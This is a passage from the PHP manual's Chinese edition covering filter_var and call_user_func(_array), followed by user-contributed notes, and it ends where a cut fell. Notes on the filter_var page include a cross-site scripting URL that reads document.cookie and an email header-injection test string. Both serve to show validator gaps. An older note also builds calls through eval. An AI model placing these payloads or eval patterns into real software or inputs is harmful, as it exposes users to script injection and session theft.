filter_var($someVariable, FILTER_VALIDATE_INT, array('options' => array('min_range' => 1, 'max_range' => SOME_VALUE_GREATER_THAN_PHP_INT_MAX)));

This will fail even if $someVariable is a valid integer in the expected range.

This can show up when you are attempting to validate a potential key for an unsigned MySQL INT type (whose maximum value is 4294967295) on a 32-bit system, where the value of PHP_INT_MAX is 2147483647.
cabrinosimone at gmail dot com 02-Apr-2013 03:19
Pay attention that the function will not validate "not latin" domains.

if (filter_var('уникум@из.рф', FILTER_VALIDATE_EMAIL)) {
    echo 'VALID';
} else {
    echo 'NOT VALID';
}
alex4home at gmail dot com 10-Jan-2013 12:18
Keep in mind that FILTER_VALIDATE_EMAIL will validate the email address according to standards.
However, giving the fact that organizations are free to restrict the forms of their own email addresses, using ONLY this filter can you a lot of bounces.

gmail, yahoo, hotmail, aol have special rules

For example :
<?php

$email_a = '0hot\'mail_check@hotmail.com';
if (filter_var($email_a, FILTER_VALIDATE_EMAIL)) {
    echo "This (email_a) email address is considered valid.";
   //reported as valid
}

//there can be no  "0hotmail_check@hotmail.com"
//because hotmail will say "Your email address needs to start with a letter. Please try again." even if you remove the '
?>
marcus at synchromedia dot co dot uk 03-Sep-2012 09:13
It's very likely that you actually want to detect all reserved ranges, not just private IPs, and there's another constant for them that should be bitwise-OR'd with it.
<?php
function is_private_ip($ip) {
    return !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}
?>
Martin L 27-Jul-2012 10:35
FILTER_SANITIZE_EMAIL header injection test.

<?php
$InjString = "\r\n|\n|%0A|%0D|bcc:|to:|cc:|Content-Type:|Mime-Type:|";
echo filter_var($InjString, FILTER_SANITIZE_EMAIL);
?>

||%0A|%0D|bcc|to|cc|Content-Type|Mime-Type|
Andi, info at pragmamx dot org 23-May-2012 06:07
And this is also a valid url

http://example.com/"><script>alert(document.cookie)</script>
keevitaja at gmail dot com 28-Jan-2012 08:05
please note FILTER_VALIDATE_URL passes following url

http://example.ee/sdsf"f
joelhy 06-Jul-2011 02:44
For those looking for private ip checking, there it is:
<?php
 function is_private_ip($ip)
{
     return !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE);
}
?>
php at maisqi dot com 27-May-2011 07:11
FILTER_VALIDATE_URL does not support internationalized domain name (IDN). Valid or not, no domain name with Unicode chars on it will pass validation.

We can circumvent this with a home grown solutions, but C code is C code, so I've gone for the code bellow, which builds on filter_var().

<?php
$res = filter_var ($uri, FILTER_VALIDATE_URL);
if ($res) return $res;
// Check if it has unicode chars.
$l = mb_strlen ($uri);
if ($l !== strlen ($uri)) {
    // Replace wide chars by "X".
    $s = str_repeat (' ', $l);
    for ($i = 0; $i < $l; ++$i) {
        $ch = mb_substr ($uri, $i, 1);
        $s [$i] = strlen ($ch) > 1 ? 'X' : $ch;
    }
    // Re-check now.
    $res = filter_var ($s, FILTER_VALIDATE_URL);
    if ($res) {    $uri = $res; return 1;    }
}
?>

The logic is simple. A non-ascii char is more than one byte long. We replace every one of those chars by "X" and check again.

An alternative will be to punycode the URI before calling filter_var(), but PHP lacks native support for punycode. I think my approach is effective. Please e-mail me if you think otherwise or see room for improvement.
drtebi at yahoo 24-Nov-2009 11:55
Notice that filter_var with FILTER_VALIDATE_EMAIL does not work if you are trying to get a String from an XML document e.g. via xpath.

I often use XML files as configuration files and use a function that returns a string from the config file via xpath. While this worked fine before 5.2.11, it doesn't anymore (and shouldn't, since it's an XML Element, not a String).

To overcome this problem, $variable can be type-casted:

<?php
$variable = fancyXmlGetFunction('from');
filter_var((String) $variable, FILTER_VALIDATE_EMAIL);
?>
jon dot bertsch at ucop dot edu 24-Mar-2009 07:49
Here's an actual example of the filter syntax with a flag since there doesn't appear to be a one liner for this anywhere:

'hours' => array('filter'=>FILTER_SANITIZE_NUMBER_FLOAT, 'flags' => FILTER_FLAG_ALLOW_FRACTION, 'options'=> '.')
dyer85 at gmail dot com 03-Nov-2008 02:00
Note that when using FILTER_VALIDATE_INT along with the FILTER_FLAG_ALLOW_HEX flag, the string "2f", for example, is not validated successfully, because you must use the "0x" prefix, otherwise, it treats the data as base 10.

The range options are also smart enough to recognize when the boundaries are exceeded in different bases.

Here's an example:

<?php

$foo = '256';
$bar = '0x100';
var_dump(validate_int($foo)); // false, too large
var_dump(validate_int($bar)); // false, too large

function validate_int($input)
{
  return filter_var(
    $input,
    FILTER_VALIDATE_INT,

    // We must pass an associative array
    // to include the range check options.
    array(
      'flags'   => FILTER_FLAG_ALLOW_HEX,
      'options' => array('min_range' => 1, 'max_range' => 0xff)
    )
  );
}

?>
dale dot liszka at gmail dot com 09-Jul-2008 10:15
Here is how to use multiple flags (for those who learn better by example, like me):

<?php
echo "|asdf".chr(9).chr(128)."_123|";
echo "\n";
// "bitwise conjunction" means logic OR / bitwise |
echo filter_var("|asdf".chr(9).chr(128)."_123\n|" ,FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH);

/*
Results:
|asdf    ?_123|
|asdf_123|
*/
?>
dale dot liszka at gmail dot com 09-Jul-2008 09:54
Using the FILTER_CALLBACK requires an array to be passed as the options:

<?php
function toDash($x){
   return str_replace("_","-",$x);
}

echo filter_var("asdf_123",FILTER_CALLBACK,array("options"=>"toDash"));
// returns 'asdf-123'
?>


函数处理

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 函数处理 函数
    • call_user_func_array — 调用回调函数，并把一个数组参数作为回调函数的参数
    • call_user_func — 把第一个参数作为回调函数调用
    • create_function — 通过执行代码字符串创建动态函数
    • forward_static_call_array — 调用静态方法且参数作为数组传递
    • forward_static_call — 调用静态方法
    • func_get_arg — 返回参数列表的某一项
    • func_get_args — 返回一个包含函数参数列表的数组
    • func_num_args — 返回传递给函数的参数数量
    • function_exists — 如果给定的函数已经被定义就返回 true
    • get_defined_functions — 返回所有已定义函数的数组
    • register_shutdown_function — 注册在关闭时执行的函数
    • register_tick_function — 注册一个函数以便在每个 tick 上执行
    • unregister_tick_function — 注销每个 tick 上需要执行的函数

User Contributed Notes

There are no user contributed notes for this page.


简介

这些函数涉及函数的相关操作。

User Contributed Notes

There are no user contributed notes for this page.


函数处理 函数

Table of Contents

  • call_user_func_array — 调用回调函数，并把一个数组参数作为回调函数的参数
  • call_user_func — 把第一个参数作为回调函数调用
  • create_function — 通过执行代码字符串创建动态函数
  • forward_static_call_array — 调用静态方法且参数作为数组传递
  • forward_static_call — 调用静态方法
  • func_get_arg — 返回参数列表的某一项
  • func_get_args — 返回一个包含函数参数列表的数组
  • func_num_args — 返回传递给函数的参数数量
  • function_exists — 如果给定的函数已经被定义就返回 true
  • get_defined_functions — 返回所有已定义函数的数组
  • register_shutdown_function — 注册在关闭时执行的函数
  • register_tick_function — 注册一个函数以便在每个 tick 上执行
  • unregister_tick_function — 注销每个 tick 上需要执行的函数

User Contributed Notes

php dot spamguard at pulseforce dot com 27-Jan-2009 06:31
PHP is great in how it allows you to send a variable-length argument list to a function by using the func_* functions. However, unfortunately (and this has been brought up numerous time in PHP bug reports/feature requests), it doesn't support passing arguments by reference which would have greatly simplified processing multiple variables at once by simply doing: somefunction($a, $b, $c) and having them processed, without having to do any additional assignment.

However, I've discovered a way to leverage several features of PHP and created a very good example that shows how you can process multiple variables in one fell swoop!

The usage is (with my example function/class):
"list($a, $b, $c, $d, $e) = TextEscape::escape_multi($a, $b, $c, $d, $e);"

If PHP had ACTUALLY been capable of passing variables by reference when using variable-length argument lists, that could have been reduced to:
"TextEscape::escape_multi($a, $b, $c, $d, $e);"

It's extremely close though, both in simplicity and speed. Just be VERY sure to ALWAYS have the SAME NUMBER AND ORDER of arguments on both sides of that statement.

The use of a static class was just to make the code cleaner and easier to look at. This can be applied to any functions!

Now, onto the code, enjoy the sheer brilliance and enjoy modifying multiple variables at once in just ONE statement! ;-)

<?php

class TextEscape
{
    public static function escape_string($sString)
    {
        /* can be anything, using htmlspecialchars() in this example */
        return htmlspecialchars($sString);
    }

    public static function escape_multi()
    {
        /* get all variables passed to the function */
        $aVariables = func_get_args();

        /* loop through the array, escaping each variable */
        foreach ($aVariables as $iKey => $sValue)
        {
            $aVariables[$iKey] = TextEscape::escape_string($sValue);
        }

        /* return the escaped values */
        return $aVariables;
    }
}

// Create test variables
$a = "A<bar";
$b = "B>bar";
$c = "C<bar";
$d = "D>bar";
$e = "E<bar";

// Variables Before:
// Array
// (
//    [0] => A<bar
//    [1] => B>bar
//    [2] => C<bar
//    [3] => D>bar
//    [4] => E<bar
// )
print_r(array($a, $b, $c, $d, $e));

// Process every variable at once,
// we're exploiting both how list() and
// variable-length argument lists work
// to make the usage this smooth! ;-)
list($a, $b, $c, $d, $e) = TextEscape::escape_multi($a, $b, $c, $d, $e);

// Variables After:
// Array
// (
//    [0] => A&lt;bar
//    [1] => B&gt;bar
//    [2] => C&lt;bar
//    [3] => D&gt;bar
//    [4] => E&lt;bar
// )
print_r(array($a, $b, $c, $d, $e));

?>

That's the CLEAN LOOKING version of the code, which illustrates exactly what is HAPPENING.

I also made a speedfreak edition of the function, but didn't want to post it as the main example since it's harder to read.

But it's faster, much faster! It passes by reference where it can and loops in a more efficient way.

Just replace the above function with this one, the outcome is the same but the speed is better:

<?php

class TextEscape
{
    public static function escape_string(&$sString) // CHANGED: we now pass by reference to the actual text processing function
    {
        /* can be anything, using htmlspecialchars() in this example */
        $sString = htmlspecialchars($sString);
    }

    public static function escape_multi()
    {
        /* get all variables passed to the function */
        $aVariables = func_get_args();

        /* loop through the array, escaping each variable */
        for ($i=(count($aVariables)-1); $i>=0; $i--) // CHANGED: a more efficient for-loop is used instead of a foreach; and for anyone wondering about the counter declaration, this is a common optimization trick which makes it so that the size of the array only has to be checked ONCE, by initializing the counter to the index of the last element (which is size of array minus 1) and then iterating downwards until we reach 0 (the first element)
        {
            TextEscape::escape_string($aVariables[$i]); // CHANGED: this has been changed to modify the variable by reference instead
        }

        /* return the escaped values */
        return $aVariables;
    }
}

?>

Enjoy!
Michael T. McGrew 12-May-2005 09:56
An interesting way to use functions is by putting other things than PHP in them, i.e. HTML CSS. This can be useful if you will be using a format for many pages. Yes, the include function can be used also, but by defining them in functions can make them more portable in a way and keep you from having to make many include files. You could use include() when one will be putting big portions of PHP, HTML, and/or CSS and will be using them in many pages. Then you could use PHP, HTML, and/or CSS in a function when it is smaller portions of code and only want it to be on a few pages.

I have been using include() for HTML and CSS in my early days of PHP coding, but I will be using functions for that a lot more now.

<?php function a() {  ?>
<style type="text/css">
table {
border: 1px dashed black;
background: #95EAFE;
text-align:left;
width:610px;
}
.linkbar {
font-family:sans-serif;
line-height:40px;
top:1px;
text-align:center;
width:200px;
height:10px;
}
</style>
<?php }  ?>

Now doing:
<?php a(); ?>
will return all of the CSS just as if you had wrote it on the actual page, or used include() . The same thing goes for HTML code inside a function. The possibilities are endless...
michael dot bommarito at gmail dot com 30-Jan-2005 11:28
I've developed an easy-to-use hack using these functions to emulate overloaded functions.  It's especially handy for constructors and/or C++ style templating.

Here's a little example to get you going.  This does the trick for most circumstances, and if you need more intelligent parsing, it's not too hard to implement with regex or a more suitable classification scheme.

N.B. Note the lack of whitespace between variable types in case strings.

class Matrix {

...

function Matrix() {
  $args = func_get_args();
  $argmatch = implode(",", array_map('gettype', $args));

  switch( $argmatch ) {
    case 'integer,integer':
      //initialize m x n matrix
      break;

    case 'integer,integer,integer':
      //initialize m x n matrix with constant c
      break;

    case 'integer,integer,float':
      //initialize m x n matrix with constant c
      break;

    case 'array':
      //initialize from array (2D....)
      break;

    case 'array,integer':
      //intialize from array (1D packed with m rows)
      break;

    default:
      //(void) overload?
      //error handling?
      break;
  }
}

...

}
php-note-2003-june-18 at ryandesign dot com 18-Jun-2003 08:22
Xavier's example is rather complicated, and his task would be much more simply accomplished by using classes. Define a base class to do the basic functions open, dump, and close, and create extension classes to override whatever behavior.

class foo {
  function open() {
    // Default functionality for open()
  }
  function dump() {
    // Default functionality for dump()
  }
  function close() {
    // Default functionality for close()
  }
}

class bar extends foo {
  function open() {
    // Override functionality of open()
  }
  // dump() and close() remain as in class foo
}
xmontero at dsitelecom dot com 23-Aug-2002 02:49
You can do some kind of overloading functions in PHP using "function_exists".

Let's suppose you want a script to call plugins that are php files and you want the plugins to "override" behaviours that if not overriden are used by default.

You might for example write a "mySQL table viewer" which displays a table and it "opens a table", "dumps the header", "dumps row-by-row" and then "closes the table".

Let's suppose you want a plugin for "Stocks" which prints negative stocks in red, so you want to override the "dumping row-by-row" to do that behaviour. Instead you do not want to have all the "default behaviour" repeated in the plugin.

You may then do the following:

1) Define a default plugin (ex: "default.php"

2) Write all your functions in default.php to open, dump and close, but add them a suffix:

open_table_default()
dump_header_default()
dump_row_default()
close_table_default()

3) Call your functions with a wrapper: Insetad of this:
open_table() or open_table_default() write this:

plugincall("open_table");

4) Then write a function called plugincall which uses function_exists() to see if you call one or the other function:

function plugincall($desired_function_name)
{

if( function_exists( $desired_function_name))
{
    //Call the plugin
    //Note the $ before the name
    $desired_function_name()
}
else
{
  $desired_function_name = $desired_function_name . "_default";
  if( function_exists($desired_function_name))
  {
      //Call the default
      //Note the $ before the name
      $desired_function_name()
  }
  else
  {
      // Nor the plugin nor the default were defined
  }
}

So, now, if the require_once(plugin.php) contains a function called "open_table()", it will be used. Instaed, "open_table_default()" will be used.

It's not like overloading functions, but it is very useful to write scripts ampliable by other programmers: If they write a function, it is used, if not, the default is used.

See ya!
Xavier Montero.


调用回调函数，并把一个数组参数作为回调函数的参数

  • ? 函数处理 函数
  • call_user_func ?
  • PHP Manual
  • 函数处理 函数
  • 调用回调函数，并把一个数组参数作为回调函数的参数

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

call_user_func_array — 调用回调函数，并把一个数组参数作为回调函数的参数

说明

call_user_func_array(callable $callback, array $args): mixed

把第一个参数作为回调函数（callback）调用，把参数数组作（args）为回调函数的的参数传入。

参数

callback

被调用的回调函数。

args

要被传入回调函数的数组。

如果 args 的 key 都是数字，则会忽略 key，并按顺序将每个元素作为位置参数传递给 callback 。

如果 args 的任一 key 是字符串，则这些元素将作为命名参数传递给 callback，名称由 key 指定。

在 args 中，如果数字 key 在 字符串 key 之后出现，或者字符串 key 与 callback 的任何参数名称不匹配，将会导致 fatal error。

返回值

返回回调函数的结果。如果出错的话就返回 false 。

更新日志

版本 | 说明
8.0.0 | args 键现在将被解释为参数名称，而不是被默默地忽略。

示例

Example #1 call_user_func_array()例子

<?php
function foobar($arg, $arg2) {
echo __FUNCTION__, " got $arg and $arg2\n";
}
class foo {
function bar($arg, $arg2) {
echo __METHOD__, " got $arg and $arg2\n";
}
}

// Call the foobar() function with 2 arguments
call_user_func_array("foobar", array("one", "two"));

// Call the $foo->bar() method with 2 arguments
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));
?>

以上示例的输出类似于：

foobar got one and two
foo::bar got three and four

Example #2 call_user_func_array()使用命名空间的情况

<?php

namespace Foobar;

class Foo {
static public function test($name) {
print "Hello {$name}!\n";
}
}

call_user_func_array(__NAMESPACE__ .'\Foo::test', array('Hannes'));

call_user_func_array(array(__NAMESPACE__ .'\Foo', 'test'), array('Philip'));

?>

以上示例的输出类似于：

Hello Hannes!
Hello Philip!

Example #3 把完整的函数作为回调传入call_user_func_array()

<?php

$func = function($arg1, $arg2) {
return $arg1 * $arg2;
};

var_dump(call_user_func_array($func, array(2, 4)));

?>

以上示例会输出：

int(8)

Example #4 传引用

<?php

function mega(&$a){
$a = 55;
echo "function mega \$a=$a\n";
}
$bar = 77;
call_user_func_array('mega',array(&$bar));
echo "global \$bar=$bar\n";

?>

以上示例会输出：

function mega $a=55
global $bar=55

Example #5 call_user_func_array() 使用命名参数

<?php
function foobar($first, $second) {
echo __FUNCTION__, " got $first and $second\n";
}

// Call the foobar() function with named arguments in non-positional order
call_user_func_array("foobar", array("second" => "two", "first" => "one"));

// Call the foobar() function with one named argument
call_user_func_array("foobar", array("foo", "second" => "bar"));

// Fatal error: Cannot use positional argument after named argument
call_user_func_array("foobar", array("first" => "one", "bar"));

?>

以上示例的输出类似于：

foobar got one and two
foobar got foo and bar

Fatal error: Uncaught Error: Cannot use positional argument after named argument

注释

Note:

在函数中注册有多个回调内容时(如使用 call_user_func() 与 call_user_func_array())，如在前一个回调中有未捕获的异常，其后的将不再被调用。

参见

  • call_user_func() - 把第一个参数作为回调函数调用
  • ReflectionFunction::invokeArgs() - Invokes function args
  • ReflectionMethod::invokeArgs() - 带参数执行

User Contributed Notes

alangiderick at gmail dot com 10-Sep-2023 05:35
It's quite interesting reading the notes in this page especially the one that mentions the difference between argument unpacking being significantly faster than calling `call_user_func_array()` directly by admin at torntech dot com.

This is true for PHP 5 but as from PHP 7.0+, there is no significant difference in the run-time between these two mechanisms of operation. The time taken is almost, if not the same for both operations, so this is already something that tells me that the PHP run-time environment has changed quite a lot (for the PHP 7 rewrite).

I used the example from admin at torntech dot com to check this hypothesis.
sebastian dot rapetti at tim dot it 23-Mar-2021 08:01
Using PHP 8, call_user_func_array call callback function using named arguments if an array with keys is passed to $args parameter, if the array used has only values, arguments are passed positionally.

<?php

function test(string $param1, string $param2): void
{
    echo $param1.' '.$param2;
}

$args = ['hello', 'world'];
//hello world
call_user_func_array('test', $args);

$args = ['param2' => 'world', 'param1' => 'hello'];
//hello world
call_user_func_array('test', $args);

$args = ['unknown_param' => 'hello', 'param2' => 'world'];
//Fatal error: Uncaught Error: Unknown named parameter $unknown_param
call_user_func_array('test', $args);
?>
admin at torntech dot com 15-Jul-2015 02:06
As of PHP 5.6 you can utilize argument unpacking as an alternative to call_user_func_array, and is often 3 to 4 times faster.

<?php
function foo ($a, $b) {
     return $a + $b;
}

$func = 'foo';
$values = array(1, 2);
call_user_func_array($func, $values);
//returns 3

$func(...$values);
//returns 3
?>

Benchmarks from https://gist.github.com/nikic/6390366
cufa   with 0 args took 0.43453288078308
switch with 0 args took 0.24134302139282
unpack with 0 args took 0.12418699264526
cufa   with 5 args took 0.73408579826355
switch with 5 args took 0.49595499038696
unpack with 5 args took 0.18640494346619
cufa   with 100 args took 5.0327250957489
switch with 100 args took 5.291127204895
unpack with 100 args took 1.2362589836121
james at gogo dot co dot nz 21-Nov-2004 05:19
Be aware the call_user_func_array always returns by value, as demonstrated here...

<?php
    function &foo(&$a)
    {
      return $a;
    }

    $b = 2;
    $c =& call_user_func_array('foo', array(&$b));
    $c++;
    echo $b . ' ' . $c;
?>

outputs "2 3", rather than the expected "3 3".

Here is a function you can use in place of call_user_func_array which returns a reference to the result of the function call.

<?php
    function &ref_call_user_func_array($callable, $args)
    {
        if(is_scalar($callable))
        {
            // $callable is the name of a function
            $call = $callable;
        }
        else
        {
            if(is_object($callable[0]))
            {
                // $callable is an object and a method name
                $call = "\$callable[0]->{$callable[1]}";
            }
            else
            {
                // $callable is a class name and a static method
                $call = "{$callable[0]}::{$callable[1]}";
            }
        }

        // Note because the keys in $args might be strings
        // we do this in a slightly round about way.
        $argumentString = array();
        $argumentKeys = array_keys($args);
        foreach($argumentKeys as $argK)
        {
            $argumentString[] = "\$args[$argumentKeys[$argK]]";
        }
        $argumentString = implode($argumentString, ', ');
        // Note also that eval doesn't return references, so we
        // work around it in this way...
        eval("\$result =& {$call}({$argumentString});");
        return $result;
    }
?>


把第一个参数作为回调函数调用

  • ? call_user_func_array
  • create_function ?
  • PHP Manual
  • 函数处理 函数
  • 把第一个参数作为回调函数调用

call_user_func

(PHP 4, PHP 5, PHP 7, PHP 8)

call_user_func — 把第一个参数作为回调函数调用

说明

call_user_func(callable $callback, mixed ...$args): mixed

第一个参数 callback 是被调用的回调函数，其余参数是回调函数的参数。

参数

callback

将被调用的回调函数（callable）。

args

0个或以上的参数，被传入回调函数。

Note:

请注意，传入call_user_func()的参数不能为引用传递。

Example #1 call_user_func() 的参考例子

<?php
error_reporting(E_ALL);
function increment(&$var)
{
$var++;
}

$a = 0;
call_user_func('increment', $a);
echo $a."\n";

// it is possible to use this instead
call_user_func_array('increment', array(&$a));
echo $a."\n";

// it is also possible to use a variable function
$increment = 'increment';
$increment($a);
echo $a."\n";
?>

以上示例会输出：

Warning: Parameter 1 to increment() expected to be a reference, value given in ...
0
1
2

返回值

返回回调函数的返回值。

示例

Example #2 call_user_func() 的例子

<?php
function barber($type)
{
echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>

以上示例会输出：

You wanted a mushroom haircut, no problem
You wanted a shave haircut, no problem

Example #3 call_user_func() 命名空间的使用

<?php

namespace Foobar;

class Foo {
static public function test() {
print "Hello world!\n";
}
}

call_user_func(__NAMESPACE__ .'\Foo::test');
call_user_func(array(__NAMESPACE__ .'\Foo', 'test'));

?>

以上示例会输出：

Hello world!
Hello world!

Example #4 用call_user_func()来调用一个类里面的方法

<?php

class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello');

$myobject = new myclass();

call_user_func(array($myobject, 'say_hello'));

?>

以上示例会输出：

Hello!
Hello!
Hello!

Example #5 把完整的函数作为回调传入call_user_func()

<?php
call_user_func(function($arg) { print "[$arg]\n"; }, 'test');
?>

以上示例会输出：

[test]

注释

Note:

在函数中注册有多个回调内容时(如使用 call_user_func() 与 call_user_func_array())，如在前一个回调中有未捕获的异常，其后的将不再被调用。

参见

  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数
  • is_callable() - 验证值是否可以在当前范围内作为函数调用。
  • Variable functions
  • ReflectionFunction::invoke() - Invokes function
  • ReflectionMethod::invoke() - Invoke

User Contributed Notes

Anonymous 17-Mar-2021 06:09
In this just for test writing to the doc
James at enfsolar dot com 11-Dec-2019 12:08
<?php

class MyClass{

    public function hello($str)

    {

        echo 'hello ' . $str;

    }

}

$obj = new MyClass();

[$obj, 'hello']('World'); // the array can be called as a function
luciano_closs at hotmail dot com 13-Dec-2018 11:42
Actually, as PHP 7.0, when you want to call a static method, you must call:

<?php

namespace Foobar;

class Foo {
   static public some() {
      echo 'Hello World!';
   }
}

call_user_func( array( __NAMESPACE__ . '\\Foo', 'some' ) );

?>

This will output:

Hello World!
slinstj at gmail dot com 09-May-2018 02:00
Updating "insta at citiesunlimited dot com"'s benchmarking for PHP 7.1.17 we have an INVERSION of results between using variables and call_user_func():

// RESULTS

Variable functions took 0.0020599365234375 seconds.
call_user_func took 0.00094509124755859 seconds.
eval took 0.024421215057373 seconds.

So, call_user_func() is now actually the way to go in PHP 7.1+.

<?php

function fa () { return 1; }
function fb () { return 1; }
function fc () { return 1; }

$calla = 'fa';
$callb = 'fb';
$callc = 'fc';

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += $calla();
    $x += $callb();
    $x += $callc();
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "Variable functions took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    $x += call_user_func('fa', '');
    $x += call_user_func('fb', '');
    $x += call_user_func('fc', '');
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "call_user_func took " . (microtime( true ) - $time) . " seconds.<br />" );

$time = microtime( true );
for( $i = 5000; $i--; ) {
    $x = 0;
    eval( '$x += ' . $calla . '();' );
    eval( '$x += ' . $callb . '();' );
    eval( '$x += ' . $callc . '();' );
    if( $x != 3 ) die( 'Bad numbers' );
}
echo( "eval took " . (microtime( true ) - $time) . " seconds.<br />" );

?>
fab2s at marsatak dot org 02-Mar-2017 12:35
@insta at citiesunlimited dot com & @Maresa

call_user_func() alleged slowness is quite over estimated when it comes to real use cases. we are talking about loosing fraction of a second every million calls, which by the way would take less than half a sec to execute in the worst case.

I don't know of many processes that would actually suffer from this kind of overhead.

Iterations: 100 000
Averaged over: 10
PHP 5.6.30 (cli) (built: Jan 18 2017 19:47:28)
Overall Average
+------------------------+----------+-----------+--------+
| Invocation             | Time (s) | Delta (s) | %      |
+------------------------+----------+-----------+--------+
| directFunction         | 0.0089   | -0.0211   | -70.19 |
| directStatic           | 0.0098   | -0.0202   | -67.39 |
| directLambda           | 0.0109   | -0.0191   | -63.52 |
| directInstance         | 0.0116   | -0.0184   | -61.31 |
| directClosure          | 0.0150   | -0.0150   | -50.15 |
| Invoke                 | 0.0282   | -0.0018   | -6.13  |
| call_user_func         | 0.0300   |           |        |
| ClosureFactory         | 0.0316   | +0.0016   | +5.20  |
| assignedClosureFactory | 0.0328   | +0.0028   | +9.28  |
| call_user_func_array   | 0.0399   | +0.0099   | +33.02 |
| InvokeCallUserFunc     | 0.0418   | +0.0118   | +39.17 |
| directImplementation   | 0.0475   | +0.0175   | +58.28 |
+------------------------+----------+-----------+--------+

Iterations: 100 000
Averaged over: 10
PHP 7.1.2 (cli) (built: Feb 14 2017 21:24:45)
Overall Average
+------------------------+----------+-----------+--------+
| Invocation             | Time (s) | Delta (s) | %      |
+------------------------+----------+-----------+--------+
| directFunction         | 0.0043   | -0.0096   | -68.92 |
| directStatic           | 0.0050   | -0.0089   | -64.04 |
| directInstance         | 0.0058   | -0.0081   | -58.22 |
| directLambda           | 0.0063   | -0.0075   | -54.44 |
| directClosure          | 0.0081   | -0.0058   | -41.57 |
| call_user_func         | 0.0139   |           |        |
| call_user_func_array   | 0.0147   | +0.0008   | +5.84  |
| Invoke                 | 0.0187   | +0.0048   | +34.61 |
| ClosureFactory         | 0.0207   | +0.0069   | +49.43 |
| assignedClosureFactory | 0.0219   | +0.0080   | +57.75 |
| directImplementation   | 0.0232   | +0.0094   | +67.53 |
| InvokeCallUserFunc     | 0.0264   | +0.0126   | +90.67 |
+------------------------+----------+-----------+--------+

If you want more details : https://github.com/fab2s/call_user_func
fab2s at marsatak dot org 02-Mar-2017 12:18
The "Example #1 call_user_func() example and references" has become misleading since it will throw an exception starting from at least php 5.6.30:
<?php
//  Parameter 1 to increment() expected to be a reference, value given
?>

The crash occurs when call_user_func() is called as it does not provide increment() with a reference.

Also note that :

<?php
call_user_func('increment', &$a);
?>

will also  throw an exception :
<?php
// Call-time pass-by-reference has been removed
?>
developer at nabtron dot com 28-Dec-2016 11:30
We can achieve the same dynamically without call_user_func like this

<?php

class myclass {
    public function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

$myobject = new myclass();
$var = "say_hello";

(new myclass)->{$var}();
call_user_func(array(new myclass(), $var));
jcastro at eftec dot cl 07-Jun-2016 09:29
Lets say that $a1 is an object and fn is a function then:

echo $a1->fn('hello world');
echo $a1->{"fn"}('hello world');
echo call_user_func(array($a1, 'fn'),'hello world');

Are three valid ways to do the same.
blakerenton09 at yahoo dot com 06-Jun-2011 04:45
call_user_func may also be used to call a closure or anonymous function that has been passed into a user-defined function.

<?php
function Benchmark()
{
    foreach(func_get_args() as $function)
    {
        $st = microtime(true);
        call_user_func($function);
        $et = microtime(true);
        echo sprintf("Time: %f", $et - $st) . '<br />';
    }
}

Benchmark(function()
{
    for ( $i = 0; $i <= 10000; $i++ )
    { }
},
function()
{
    $i = 0;
    while ( $i <= 10000 )
    {
        $i++;
    }
});
?>

Returns:
Time: 0.001652
Time: 0.001458
romainbessuges at gmail dot com 09-May-2011 05:50
I made a wrapper for call_user_func_array which is really simple and convenient. It takes advantage of the __invoke() magic method :

<?php
class Func {

    public static function fromFunction($name){
        return new Func($name);
    }

    public static function fromClassMethod($class, $name){
        return new Func(array($class, $name));
    }

    public static function fromObjectMethod($object, $name){
        return new Func(array($object, $name));
    }

    public $function;

    public function  __construct($function) {
        $this->function = $function;
    }

    public function __invoke(){
        return call_user_func_array($this->function, func_get_args());
    }
}
?>

Example :

<?php
$func = Func::fromObjectMethod($myArrayObject, "offsetGet");

echo $func(3);
?>
gskluzacek dot nospam at gmail dot com 11-Sep-2010 10:38
if you simply want to dynamically call a method on an object it is not necessary to use call_user_function but instead you can do the following:

<?php

$method_name = "AMethodName";

$obj = new ClassName();

$obj->{$method_name}();

?>

I've used the above so I know it works.

Regards,
-- Greg
moisadoru at gmail dot com 13-May-2010 08:49
Actually, when calling a static method of some class, the params are sent by reference:
<?php
class Foo {
    private $x = 0;
    public function getX(){
        return $this->x;
    }
    public function setX($val){
        $this->x = $val;
    }
}

class Bar {
    static function incStatic(Foo $f){
        $f->setX($f->getX()+1);
        global $foo;
        if($f === $foo) echo '<span style="color: blue">' . __METHOD__ . '() objects are equal</span><br />';
        else  echo '<span style="color: red">' . __METHOD__ . '() objects are not equal</span><br />';
    }
    public function incNonStatic(Foo $f){
        $f->setX($f->getX()+1);
        if($f === $foo) echo '<span style="color: blue">' . __METHOD__ . '() objects are equal</span><br />';
        else  echo '<span style="color: red">' . __METHOD__ . '() objects are not equal</span><br />';
    }
}

function inc(Foo $f){
    $f->setX($f->getX()+1);
    if($f === $foo) echo '<span style="color: blue">' . __FUNCTION__ . '() objects are equal</span><br />';
    else  echo '<span style="color: red">' . __FUNCTION__ . '() objects are not equal</span><br />';
}

$foo = new Foo;
$bar = new Bar;

call_user_func('inc', $foo);
call_user_func('Bar::incStatic', $foo);
call_user_func(array($bar, 'incNonStatic'), $foo);
?>

The results on PHP 5.2.6 (macosx 10.5):

inc() objects are not equal
Bar::incStatic() objects are equal
Bar::incNonStatic() objects are not equal

Hope it helps sombody.
Nitrogen 04-Oct-2009 04:08
A good use for call_user_func(); is for recursive functions.
If you're distributing code, you will often come across users who will rename functions and break the code..
Use this: call_user_func(__FUNCTION__, ... ); inside a function to call itself with whatever parameters you want.

<?php
// example, an extremely simplified factorial calculator..
